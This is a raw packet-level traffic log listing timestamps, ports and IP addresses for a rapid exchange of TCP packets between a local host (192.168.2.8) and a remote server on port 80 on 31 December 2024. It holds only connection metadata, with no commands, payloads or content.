Dec 31, 2024 15:42:10.678046942 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.678073883 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.678086996 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.678091049 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.678091049 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.678098917 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.678112030 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.678122997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.678136110 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.678148031 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.678149939 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.678149939 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.678160906 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.678189993 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.678225040 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679055929 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679074049 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679085970 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679099083 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679111004 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679117918 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679126024 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679130077 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679143906 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679157019 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679163933 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679168940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679183006 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679193974 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679195881 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679205894 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679217100 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679229975 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679240942 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679243088 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679243088 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679254055 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679271936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679272890 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679282904 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679330111 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679805040 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679816961 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679828882 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679877996 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679888964 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679896116 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679902077 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679917097 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.679924011 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679964066 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.679982901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680000067 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680011988 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680023909 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680033922 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680049896 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680063009 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680068970 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680073977 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680084944 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680097103 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680110931 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680110931 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680140972 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680660009 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680672884 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680685043 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680727959 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680740118 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680751085 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680766106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680778980 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680778980 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680819988 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680833101 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680838108 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680845022 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680856943 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680866003 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680880070 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680891037 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680903912 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680915117 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680915117 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680915117 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680926085 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680937052 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680951118 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.680965900 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.680980921 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.681006908 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.682674885 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.682697058 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.682786942 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.693888903 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.698787928 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.698812962 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.698824883 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.698837042 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.698849916 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.698873997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.698887110 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.698898077 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.698905945 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.698910952 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.698924065 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.698940992 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.698997021 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699002028 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699009895 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699019909 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699033022 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699052095 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699057102 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699064016 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699084044 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699084044 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699105024 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699117899 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699130058 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699132919 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699145079 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699155092 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699157953 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699179888 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699218035 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699279070 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699290037 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699301958 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699307919 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699321032 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699331999 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699346066 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699358940 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699374914 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699388981 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699400902 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699412107 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699425936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699460030 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699460030 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699770927 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699784040 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699796915 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699809074 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699821949 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699835062 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699845076 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699877977 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699891090 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699906111 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699906111 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699918985 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.699918985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699932098 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699944973 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.699953079 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700007915 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700041056 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700052977 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700074911 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700087070 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700098038 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700109005 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700120926 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700124025 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700124025 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700133085 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700145006 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700158119 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700164080 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700164080 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700180054 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700613976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700624943 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700637102 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700651884 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700664997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700675011 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700678110 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700686932 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700711966 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700781107 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700793028 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700804949 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700815916 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700833082 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700835943 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700845957 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700859070 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.700865984 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700885057 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.700901985 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.704782963 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.709656000 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709677935 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709691048 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709703922 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709724903 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709737062 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709748030 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709764004 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709777117 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709788084 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709790945 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.709800959 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709836006 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.709836006 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.709837914 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709855080 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709873915 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709887028 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709899902 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709903955 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.709913015 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709920883 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.709924936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.709933043 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.709981918 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.709991932 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710004091 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710016012 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710052013 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.710057020 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710068941 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710082054 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710095882 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710117102 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.710129023 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710140944 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710150957 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710171938 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.710171938 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.710199118 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.710274935 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710287094 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710299015 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710310936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710330009 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710341930 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.710341930 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710354090 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710366011 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710377932 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710383892 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.710383892 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.710390091 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710402966 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710414886 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.710437059 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.710437059 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.710481882 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.711026907 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711039066 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711050987 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711061954 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711075068 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711086035 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711086988 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.711098909 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711150885 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.711167097 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711179018 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711189985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711200953 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711213112 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711225986 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711237907 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711241961 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.711241961 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.711250067 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711270094 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711275101 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.711275101 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.711283922 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711297035 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711308956 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711319923 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.711328983 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711340904 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711354017 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.711359024 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.711391926 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.711391926 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712007999 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712019920 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712032080 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712043047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712055922 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712066889 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712069988 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712083101 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712095976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712121010 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712121010 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712162971 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712238073 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712259054 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712272882 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712284088 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712296963 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712302923 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712310076 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712326050 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712348938 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712378025 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712388992 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712400913 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712414026 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712428093 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712443113 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712447882 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712447882 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712485075 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712497950 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712507963 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712521076 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712531090 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712531090 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712558985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712572098 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712584019 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712584972 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712595940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712599039 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712609053 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712620974 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.712671995 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.712671995 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713263988 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713275909 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713287115 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713298082 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713310957 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713323116 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713336945 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713340044 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713356972 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713368893 CET	80	49715	185.215.113.16	192.168.2.8
